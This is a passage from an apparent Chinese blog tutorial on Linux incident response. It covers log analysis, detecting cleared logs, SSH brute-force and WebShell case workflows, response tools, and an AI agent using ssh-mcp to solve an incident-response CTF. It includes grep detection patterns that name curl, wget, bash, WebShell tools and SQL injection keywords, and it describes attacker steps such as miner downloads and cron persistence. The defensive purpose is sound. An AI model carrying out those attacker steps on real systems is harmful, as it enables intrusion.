| 执行下载命令 | 可能定时拉取木马 |
| 执行反弹 Shell | 高危 |
| 任务时间接近恶意进程启动时间 | 可以关联证据 |
分析时可以这样串:
| 线索 | 关联 |
|---|---|
| crontab 中有恶意任务 | 文件侧证据 |
| cron 日志中有执行记录 | 日志侧证据 |
| 进程启动时间与 cron 时间一致 | 进程侧证据 |
| 进程存在外联 | 网络侧证据 |
5.9 systemd 日志分析
如果发现可疑服务,可以用 journalctl 查看它的运行日志。
查看某个服务日志:
journalctl -u 服务名
查看最近日志:
journalctl -u 服务名 --since "2024-01-01 10:00:00"
查看系统启动日志:
journalctl -xe
重点关注:
- 服务什么时候启动;
- 是否反复重启;
ExecStart执行了什么;- 是否有失败重启记录;
- 是否和恶意进程启动时间对应。
如果可疑服务每次被杀后又自动起来,journalctl 里通常能看到启动记录。
5.10 Web 日志分析
Web 日志主要用于分析 Web 入侵入口。
| 服务 | 常见日志路径 |
|---|---|
| Nginx | /var/log/nginx/access.log、/var/log/nginx/error.log |
| Apache | /var/log/httpd/access_log、/var/log/httpd/error_log |
| Apache Ubuntu | /var/log/apache2/access.log、/var/log/apache2/error.log |
| 宝塔 | /www/wwwlogs/ |
| Tomcat | logs/catalina.out、logs/localhost_access_log.*.txt |
如果服务器上有网站、管理后台、API 服务,日志分析一定要看 Web 日志。
这里补充下文本三剑客,学习以下awk的使用
https://www.cnblogs.com/along21/p/10366886.html
5.10.1 Web 日志常见字段
以 Nginx / Apache access log 为例:
1.2.3.4 - - [10/Oct/2024:13:55:36 +0800] "GET /index.php HTTP/1.1" 200 1234 "-" "Mozilla/5.0"
常见字段:
| 字段 | 说明 |
|---|---|
1.2.3.4 |
访问源 IP |
| 时间 | 请求时间 |
GET /index.php |
请求方法和路径 |
200 |
HTTP 状态码 |
1234 |
响应大小 |
| Referer | 来源页面 |
| User-Agent | 浏览器或工具特征 |
分析 Web 日志时,重点看:
- 哪个 IP 访问最多;
- 是否访问上传接口;
- 是否访问可疑脚本文件;
- 是否有 SQL 注入、命令执行、文件包含特征;
- 是否存在扫描器 User-Agent;
- 是否在 WebShell 创建时间前后有异常请求。
5.10.2 统计访问最多的 IP
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -nr | head
awk '{print $1}' /www/wwwlogs/114.66.37.31_80-access_log | sort | uniq -c | sort -nr | head
如果某个 IP 请求量明显异常,可以继续查这个 IP 的所有访问:
grep "1.2.3.4" /www/wwwlogs/114.66.37.31_80-access_log
grep "111.32.82.96" /www/wwwlogs/114.66.37.31_80-access_log
也可以将查找筛选出来的日志请求用>输出到文件中,下载下来使用日志分析工具或者AI分析
5.10.3 查找可疑请求
SQL 注入关键字:
grep -Ei "union|select|sleep|benchmark|information_schema|extractvalue|updatexml" access.log
命令执行关键字:
grep -Ei "cmd=|exec|system|shell_exec|passthru|whoami|id|bash|curl|wget" access.log
文件上传和 WebShell 相关:
grep -Ei "upload|file|filename|multipart|\.php|\.jsp|\.jspx|\.war" access.log
常见 WebShell 工具特征:
grep -Ei "behinder|godzilla|caidao|antSword|cmd|shell|pass|pwd" access.log
注意:关键字匹配只是初筛,不能直接定性。
要结合访问路径、状态码、响应大小、时间点和文件修改时间一起判断。
5.10.4 根据可疑文件反查日志
如果文件分析中发现:
/var/www/html/upload/a.php
就可以在访问日志里反查:
grep "a.php" access.log
grep "/upload/" access.log
如果发现 a.php 首次访问前,有上传接口请求,例如:
POST /upload.php
GET /upload/a.php
POST /upload/a.php
可以初步推断:
| 时间顺序 | 可能行为 |
|---|---|
POST /upload.php |
上传 WebShell |
GET /upload/a.php |
测试 WebShell 是否可访问 |
POST /upload/a.php |
通过 WebShell 执行命令 |
继续查该 IP 的完整访问记录,就能还原 Web 入侵路径。
5.10.5 结合响应码和响应大小判断
常见状态码:
| 状态码 | 说明 |
|---|---|
200 |
请求成功 |
302 |
跳转 |
403 |
禁止访问 |
404 |
文件不存在 |
500 |
服务器错误 |
分析时注意:
| 现象 | 说明 |
|---|---|
| 大量 404 | 可能是扫描目录或探测文件 |
| 大量 500 | 可能是漏洞利用触发错误 |
| WebShell 文件返回 200 | 说明文件可访问 |
| POST 请求响应大小稳定 | 可能是 WebShell 交互 |
| 短时间大量敏感路径访问 | 可能是扫描器 |
5.11 日志被清理
攻击者入侵后可能会清理日志,常见方式包括:
- 删除
/var/log/secure; - 清空
/var/log/auth.log; - 清空
.bash_history; - 删除 Web 访问日志;
- 修改日志时间;
- 关闭日志服务;
- 只删除包含自己 IP 的日志行。
排查日志是否异常,可以看几个点。
5.11.1 查看日志文件大小和时间
ls -lh /var/log/secure*
ls -lh /var/log/auth.log*
stat /var/log/secure
如果日志文件突然变成 0 字节,或者修改时间非常异常,需要注意。
5.11.2 查看日志是否存在时间断层
less /var/log/secure
重点看时间是否连续。
比如前一条是 10:00,下一条突然跳到 14:00,中间缺失明显,就要怀疑日志被清理过。
5.11.3 查看历史命令是否被清空
ls -al /root/.bash_history
cat /root/.bash_history
如果历史命令为空,但近期有明显登录和操作记录,需要怀疑被清理。
5.11.4 交叉验证
日志可能被删,但其他痕迹未必全删。可以交叉看:
| 线索 | 对应位置 |
|---|---|
| 登录成功 | last、secure/auth.log |
| 文件修改 | find、stat |
| 进程启动时间 | ps -eo pid,lstart,cmd |
| 定时任务执行 | cron 日志 |
| Web 访问 | access log |
| systemd 启动 | journalctl |
如果日志缺失,但文件、进程、网络证据都指向异常,也不能因为“日志里没有”就排除入侵。
5.12 日志分析常见案例思路
5.12.1 SSH 爆破入侵
排查顺序:
| 步骤 | 命令或动作 |
|---|---|
| 查看失败登录 | grep "Failed password" /var/log/secure |
| 统计攻击 IP | 提取 IP 后排序 |
| 查看成功登录 | grep "Accepted" /var/log/secure |
| 关联时间 | 看失败后是否有成功 |
| 查看历史命令 | .bash_history |
| 查新增文件 | find 按时间筛选 |
| 查进程和外联 | ps、ss、lsof |
| 查持久化 | crontab、systemd、authorized_keys |
结论示例:
| 阶段 | 证据 |
|---|---|
| 爆破 | 某 IP 对 root 多次 Failed password |
| 成功 | 同 IP 后续 Accepted password |
| 执行 | 历史命令中有 wget 下载脚本 |
| 落地 | /tmp/.x/miner 被创建 |
| 维持 | crontab 每分钟执行脚本 |
| 通信 | 进程连接矿池地址 |
5.12.2 WebShell 入侵
排查顺序:
| 步骤 | 命令或动作 |
|---|---|
| 查最近 Web 文件 | find Web目录 -mtime -n |
| 搜 WebShell 关键字 | grep eval/assert/system |
| 根据文件名查日志 | grep "shell.php" access.log |
| 查上传入口 | 搜 upload、POST 请求 |
| 查命令执行 | 搜 cmd、whoami、curl、wget |
| 关联进程 | 看 Web 服务是否拉起 shell |
| 查后门 | crontab、systemd、authorized_keys |
结论示例:
| 阶段 | 证据 |
|---|---|
| 上传 | POST /upload.php |
| 落地 | /upload/a.php 修改时间对应 |
| 访问 | POST /upload/a.php |
| 执行 | 日志中出现 cmd=whoami |
| 下载 | 日志或进程中出现 curl |
| 持久化 | 写入定时任务或公钥 |
5.13 日志分析常用命令清单
查看当前登录用户:
who
w
查看成功登录:
last
last -a
lastlog
grep "Accepted" /var/log/secure
查看失败登录:
lastb
grep "Failed password" /var/log/secure
统计失败 IP:
grep "Failed password" /var/log/secure | grep -Eo "([0-9]{1,3}\.){3}[0-9]{1,3}" | sort | uniq -c | sort -nr | head
查看 sudo / su:
grep "sudo" /var/log/secure
grep "su:" /var/log/secure
查用户变更:
grep -E "useradd|adduser|passwd|usermod|groupadd" /var/log/secure /var/log/messages 2>/dev/null
查定时任务日志:
grep "CRON" /var/log/cron
查 systemd 服务日志:
journalctl -u 服务名
Web 日志统计 IP:
awk '{print $1}' access.log | sort | uniq -c | sort -nr | head
Web 日志查攻击关键字:
grep -Ei "union|select|sleep|cmd=|exec|system|upload|eval|assert|base64" access.log
5.14 日志分析小结
日志分析这一章,重点是掌握分析顺序。
比较实用的顺序是:
| 步骤 | 目的 |
|---|---|
| 看当前登录 | 判断是否还有异常用户在线 |
| 看登录成功 | 找到可疑登录时间、账号和 IP |
| 看登录失败 | 判断是否存在爆破 |
| 看账号和权限变更 | 判断是否新增账号或提权 |
| 看历史命令 | 还原攻击者执行过什么 |
| 看定时任务日志 | 判断恶意任务是否执行过 |
| 看 Web 日志 | 还原 Web 攻击入口 |
| 看日志是否缺失 | 判断攻击者是否清理痕迹 |
| 结合进程、文件、网络 | 形成完整攻击链 |
一句话总结:
日志分析就是用时间线把“谁进来、怎么进来、执行了什么、留下了什么”串起来。最终不能只看日志下结论,而要和进程、文件、网络证据互相印证。
6.相关工具
在Linux常见安全事件应急响应工作中,需要分析人员输入大量工具和命令来获取系统数据,从而进行痕迹的提取和攻击流程的溯源分析,对于分析人员来说时效和命令的熟练度都十分高要求,因此,通过合适的数据提取脚本工具可以更好的帮助应急过程中及时高效的发现问题,并解决问题,针对常见linux系统应急响应工具脚本进行以下几款的整理,可以选择需要的测试使用。
6.1 Whoamifuck
Whoamifuck:是一款由shell编写的Linux应急响应脚本,能对基本的检查项进行输出和分析,并支持一些扩展的特色功能。
https://github.com/enomothem/Whoamifuck
可以下载解压在u盘或者其他安全的移动盘,并对该文件夹赋予执行权限,在需要应急系统上进行执行既可以;

-h命令可以辅助查询操作指令

通过-m参数可以直接导出全量的数据为html格式

通过查看生成的html报告,即可非常方便的将所有需要的数据提取出来,并进行了初步的整理和分析。




webshell的查杀

日志分析-SQL注入专业分析

6.2 GScan
GScan是一款方便的Linux安全分析工具,支持不同的模式检测系统上的安全情况。
https://github.com/grayddq/GScan
运行-h可以查看不同的模式参数

直接通过python运行,既可以开展检测

对于存在的风险会进行标红,同时检测完成后会打印输出。

可以根据不同模式进行检测并输出对应的结果。


6.3 Linuxgun
https://github.com/sun977/Linuxgun
6.4 星川智盾
https://github.com/chu0119/zhidun
7.实验
应急响应靶场主要使用以下两个平台:
玄机
https://xj.edisec.net/challenges
青少年CTF
https://www.qsnctf.com/
完成青少年CTF里的——公交车系统攻击事件排查

可以参考wp
https://mp.weixin.qq.com/s/IOgLrb6rfBZMcuiVtwDCpw
https://mp.weixin.qq.com/s/UFkLP-Mn_IDEf8owSzOoXg
其他玄机和青少年CTF平台里的题目也可以做,应急响应需要大量练习!
8.AI应急响应
AI+安全 | 解锁 AI 远程应急响应新时代—Trae + ssh-mcp 自动应急排查远程服务器
随着大模型能力不断扩展,越来越多的自动化运维场景开始探索让 AI 直接执行远程命令、管理文件乃至持久化会话。MCP(Model Context Protocol) 已成为连接 AI 与外部工具的标准协议,通过它,我们可以安全、标准化地让 AI 系统执行复杂任务。
今天重点分享一个实用工具:ssh-mcp —— 一个基于 MCP 协议的 SSH 操作桥接服务,它让 AI 能够通过标准化接口访问远程服务器,执行 Shell 命令、管理会话、传输文件等功能,不需要人工敲终端。
8.1 SSH-MCP介绍
8.1.1 什么是 ssh-mcp?
ssh-mcp 是一个使用 MCP 协议封装的 SSH 工具,它把 SSH 服务抽象成可被大模型调用的标准接口,实现:
- 远程 SSH 连接管理;
- 命令执行与结果反馈;
- tmux 会话管理(持久会话、发送按键、捕获输出);
- 文件上传/下载、查看文件内容;
- 认证支持(密码/密钥);
- 智能阻塞检测与超时控制。
它相比传统脚本式 SSH 更适合与 AI 工具配合,因为:
- 支持自然语言触发;
- 不暴露敏感命令;
- 通过 MCP 约束执行范围;
- 可集成到 Trae、Cursor、Claude Desktop 等生态。
8.1.2 使用前准备
在开始配置之前,请确保开发环境满足以下要求:
- Node.js(最新版推荐);
- npm / pnpm 安装工具;
- Git;
- 你的 MCP 客户端(如 Trae、Cursor、Claude Desktop)已准备好;
- 远程服务器允许 SSH 访问(带密码或密钥)。
8.2 Trae + SSH-MCP 配置实战
这里以 Trae 为例说明如何将 ssh-mcp 集成到 Trae 的 MCP 服务列表里:
8.2.1 下载安装ssh-mcp
把仓库克隆到本地并构建:
git clone https://github.com/shuakami/mcp-ssh.git
cd mcp-ssh
npm install
npm run build
构建成功后,你将得到一个可通过 MCP 启动的本地 SSH MCP 服务。
8.2.2 配置 MCP Servers
编辑 Trae 的 MCP 配置文件添加如下内容:
{
"mcpServers": {
"ssh-mcp": {
"command": "pythonw",
"args": [
"C:/Users/你的用户名/mcp-ssh/bridging_ssh_mcp.py"
]
}
}
}
注意:请将命令路径替换为你实际构建后的路径。

8.2.3 启动服务
配置好之后,勾选ssh-mcp,它会自动启动 MCP 服务。然后你就可以开始使用了。
8.3 使用场景示例
8.3.1 创建 SSH 连接
在 Trae 内通过自然语言指令:
“帮我创建一个 SSH 连接到服务器 192.168.1.10,用户名 root,密码 mypass123。”
AI 会调用 MCP 接口创建连接对象。

8.3.2 执行命令
当连接建立后,通过以下消息自动执行命令:
“在服务器上执行
ls -la /var/www,然后返回输出。”
ssh-mcp 获取命令参数、执行并返回结果。

8.4 SSH-MCP实战
这里测试使用青少年CTF练习平台里的公交车系统攻击事件排查这个题目,下发赛题后会提供对应的ssh链接和root账号密码

靶场环境就不打码了,容器生存周期有限

使用mcp进行连接

开始解题。
8.4.1任务一
分析环境内的中间件日志,找到第一个漏洞(黑客获取数据的漏洞),然后通过分析日志、流量,通过脚本解出黑客获取的用户密码数据,提交获取的前两个用户名,提交格式:flag{zhangsan-wangli}

可以看到AI已经分析出中间件为Apache,web攻击类型为sql注入

最后给出了分析结果,并生成了提交flag

提交验证,结果正确

8.4.2 任务二
黑客通过获取的用户名密码,利用密码复用技术,爆破了FTP服务,分析流量以后找到开放的FTP端口,并找到黑客登录成功后获取的私密文件,提交其文件中内容,提交格式:flag{xxx}

可以看到AI很快分析出了结果,并给出了flag,同时提供了后续排查方向和建议

提交验证,结果正确

8.4.3 任务三
可恶的黑客找到了任意文件上传点,你需要分析日志和流量以及web开放的程序找到黑客上传的文件,提交木马使用的密码,提交格式:flag{password}

AI同样很快分析出了结果:

提交验证,结果正确

8.4.4 任务四
分析流量,黑客植入了一个web挖矿木马,这个木马现实情况下会在用户访问后消耗用户的资源进行挖矿(本环境已做无害化处理),提交黑客上传这个文件时的初始名称,提交格式:flag{xxx.xxx}

因为上传的webshell后续通信都是加密混淆后的,AI第一次并未识别出来。

更新指令,提示AI将流量包下载到本地,结合使用wiremcp来分析流量包
wiremcp的使用和安装参考:
https://mp.weixin.qq.com/s/pB7nrFq-vro8zDCIiMMRxg

通过ssh-mcp下载流量包result1.pcap到本地

最后通过wiremcp+自动编写的py解密脚本,成功解出

提交验证,结果正确

8.4.5 任务五:
分析流量并上机排查,黑客植入的网页挖矿木马所使用的矿池地址是什么,提交矿池地址(排查完毕后可以尝试删除它)提交格式:flag{xxxxxxx.xxxx.xxx:xxxx}

其实在任务四AI就已经识别出攻击者上传的map.php存在混淆的js代码,因此这个题也是很快就直接解出了
提交验证,结果正确


Comments NOTHING